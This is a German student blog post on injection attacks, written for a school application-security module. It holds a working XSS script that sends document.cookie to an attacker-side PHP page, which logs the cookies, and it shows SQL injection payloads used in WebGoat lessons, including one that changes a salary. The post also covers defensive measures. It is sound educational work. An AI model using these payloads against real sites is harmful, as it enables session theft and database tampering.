Injections

Datum: Mai 2022
Lesedauer: 6 Minuten

In der Schule werde ich momentan im Modul 183 unterrichtet. Dabei befassen wir uns mit der Applikationssicherheit.
Als Applikationsentwickler sollte man wissen, wie man seine Software schützt. Um ein Verständnis dafür aufzubauen, hilft es, wenn man vorerst die Angriffsmethoden kennt. Auf diese gehe ich in diesem Blogpost ein.

Gegen fremde Daten, Anlagen oder Personen darf nicht vorgegangen werden. Ein solches "Black-Hat"-Verhalten wäre strafbar.

OWASP 5-Ebenen-Modell

Das "Open Web Application Security Project" (OWASP) wurde ins Leben gerufen, um die Sicherheit von Applikationen zu verbessern.
Bei diesem Community-Projekt entstand eine Tabelle, welche Webanwendungen in die 6 verwundbaren Teile gliedert.

HTML Injection

Ist ein Formular nicht gegen Angriffe geschützt, so kann eine HTML Manipulation durchgeführt werden. Dabei gibt der Angreifer HTML Tags in das Formularfeld ein. Diese Tags werden dann nicht erkannt und entfernt, sondern auf der Seite angezeigt.

Dieses Formular stellt die Eingabe des Users dar.

Wenn nun aber ein Tag mitgeschickt wird, so interpretiert der Browser diesen.

Wird nur ein Titel in die Webseite eingebettet, so ist dies nicht schlimm. Jedoch kann so auch ein Script Tag mit JavaScript abgeschickt werden. Dies kann dramatische Folgen haben.

Session ID stehlen

Die oben beschriebene Angriffsfläche kann nun genutzt werden, um die Session ID des Users zu stehlen. Dazu sendet man dem Formular das folgende Script.

<script type="text/javascript">
    alert(document.cookie);
</script>

Dieses stellt die ID im Browser dar.

Jetzt stellt sich aber die Frage, wie Angreifer an den Identifier gelangen. Schliesslich zeigt dieses Script die ID lediglich im Browser des Users an.

Ein Angreifer könnte eine XSS (Cross-Site-Scripting) Attacke starten:

1. Er schickt dem User eine Mail, welche einen präparierten Link enthält.
2. Das Opfer klickt auf den Link.
3. So wird der Schadcode auf der entsprechenden Seite ausgeführt. Das Script könnte die ID auslesen und an den Angreifer senden.
4. Der Angreifer ist im Besitz der Session ID und kann sich als Benutzer ausgeben.

XSS Code Beispiel

Ein Link kann das folgende Script in der URL mitgeben.

<script type="text/javascript">
    let XMLHTTP = new XMLHttpRequest();
    let url = 'http://localhost/angreifer/attack.php?cookie=';
    XMLHTTP.open('GET', url.concat(document.cookie), true);
    XMLHTTP.send(null);
</script>

Wird darauf geklickt, so liest es das Cookie aus und sendet es an eine Seite des Angreifers.
Auf dieser Webseite kann dann der Angreifer den Request lesen und das Cookie herauslesen.

<?php
if(isset($_GET['cookie'])) {
	$handle = fopen('sessions.txt', 'a');
	fwrite($handle, $_GET['cookie']);
	fclose($handle);
}
?>

Hier wird das Cookie in eine sessions.txt Datei geschrieben.
Nun ist der Angreifer in Besitz der ID.

WebGoat

WebGoat bietet Lektionen, in welchen lernt, wie man Applikationen angreift.
Die weiteren Beispiele zeige ich anhand dieser Lektionen.

Aufsetzen

Um die Lektionen zu absolvieren, musste ich eine Umgebung einrichten.
Hier beschreibe ich, wie ich dies getan habe.

Server

Man benötigt einen Server, auf welchem OWASP WebGoat läuft. Dieser wurde mir von der Schule zur Verfügung gestellt.

Client

Danach muss man den Client konfigurieren.

Um sich mit dem Server zu verbinden, muss man das dritte Byte der IP und des Standardgateways mit dem des Servers gleichsetzen.
Auch die Firewall muss für die Angriffe deaktiviert werden.

Starten

Hat man die zwei VM's so konfiguriert, kann man über den Client auf die Server IP zugreifen und darüber WebGoat starten.

Web Developer Plugin

Um die Aufgaben leichter zu lösen, empfehle ich das Web Developer Plugin: http://www.chrispederick.com/work/web-developer/
Dieses bietet unzählige nützliche Funktionen für Angriffe.

OWASP WebGoat Lektionen

Nun kann man sich an die Aufgaben wagen. Ich zeige hier zwei interessante Beispiele.

Wetterstation

Ausgangslage

Die Wetterstation sammelt Wetterdaten. Diese werden in eine Datenbank gespeichert. Auf der Webseite können jeweils die Werte einer Station (Columbia/Seattle/New York/Houston) abgefragt werden.

Es stehen jedoch nur wenige Wetterstationen zu Auswahl. Interessant wäre aber zu wissen, an welche Daten man sonst noch gelangen können.

Vorgehen

Als erstes kontrolliert man, ob beim Absenden des Formulars etwas in der URL mitgeschickt wird. Dies ist hier nicht der Fall. Das bedeutet, dass POST verwendet wird.

Mit dem Web Developer Plugin haben wir die Möglichkeit, diesen mit "Convert From POSTs To GETs" umzuwandeln.
Nun können wir die gefüllten Variablen in der URL erkennen.

192.168.74.146/WebGoat/attack?station=101&SUBMIT=Go!

Es ist ersichtlich, dass die Station über die ID geholt wird. Diesen Link können wir jetzt mit or 1=1 ergänzen. So wird bei der SQL Abfrage jede Station berücksichtigt.

192.168.74.134/WebGoat/attack?station=101 or 1=1&SUBMIT=Go!

Beim Absenden erhalten wir, wie erwartet, alle Stationen. Auch solche, die vorher von uns verborgen wurden (Camp David und Ice Station Zebra).

Lohn

Ausgangslage

Mitarbeiter können anhand ihrer User ID ihren Lohn anzeigen.
Das Ziel ist, den Lohn zu erhöhen.

Vorgehen

Vorerst könnte man überprüfen, ob das Formular überhaupt unsicher ist. Man könnte versuchen, alle Lohne anzuzeigen.

Dies hat funktioniert. Mit ein wenig SQL Kenntnissen kann man so auch das Gehalt verändern.

userid=' or 'a'='a';UPDATE salaries SET SALARY = 45000 WHERE USERID = 'jsmith

Der Wert wurde nun von 20'000 auf 45'000 erhöht. Um dies zu überprüfen, kann man erneut die vorherige Abfrage durchführen.

ZAP

Es ist nicht immer leicht, die Schwachstellen manuell zu finden. Aus diesem Grund gibt es ZAP. ZAP ist ein Tool für Scans. Die Software begibt sich zwischen Browser und Webapplikation und sucht nach Schwachstellen.

Dabei gibt es verschiedene Arten von Scans. Das Tool kann beispielsweise eine Seite "spidern". Hierbei handelt es sich um einen Vorgang, bei welchem die Software alle Seiten abfragt und die Requests und Responses analysiert. Fällt etwas negativ auf, so meldet die Applikation dies.

ZAP ist auch nützlich, um Breakpoints zu setzen und so die Werte fortlaufend zu verändern.

Massnahmen

Nun habe ich einen Überblick über Sicherheitsprobleme geliefert. Als Applikationsentwickler ist aber auch wichtig zu wissen, wie man eine Software schützen kann.

Entwickler

Als Entwickler sollte man immer POST verwenden. Man muss sich aber auch darüber im Klaren sein, dass dies alleine nicht reicht. Ein POST Request kann in unter einer Sekunde in einen GET umgewandelt werden.

Das wichtigste ist, dass man im Backend validiert. Frontend Validierung ist super für den User. Jedoch ist es auch möglich, einen Request ohne Formular abzusetzen.
Deshalb muss man zwingend den POST auch im Backend validieren und formatieren.

htmlspecialchars($userInput);

Auf keinem Fall sollte man ein SQL Statement direkt aus einer Eingabe formen und absenden. So gefährdet man die gesamte Datenbank.

Es gibt aber noch weitere Dinge, auf die man achten kann.

• Es ist fast schon zwingend, dass eine Webseite SSL verschlüsselt ist.
• Verwendete Komponenten sollten keine Schwachstellen aufweisen und immer aktualisiert sein.
• Die Webapplikation sollte vor Veröffentlichungen ausgiebig getestet werden.
• Um Brute-Force Attacken zu verhindern, sollte es eine maximale Anzahl an Login versuchen geben.
• Fehlermeldungen dürfen dem Angreifer keine Schwachstellen aufzeigen.
• Bei manchen Applikationen ergibt eine 2 Faktoren Authentifizierung Sinn.

Fazit

Zuvor wusste ich nicht, dass Injections so leicht durchzuführen sind. Deshalb muss man gerade bei PHP Seiten darauf achten, dass man sie absichert. Dabei muss man manchmal auch zwischen Usability und Security abwägen. Um eine gute UX zu liefern, sollte die Applikation schnell zugänglich sein und bei fehlgeschlagenen Aktionen genaues Feedback liefern. Aus der Sicht der Sicherheit will man aber die Software durch ein 2FA schützen und dem User nur so wenig Informationen wie nötig liefern.

Ich finde dieses Modul bisher ziemlich interessant.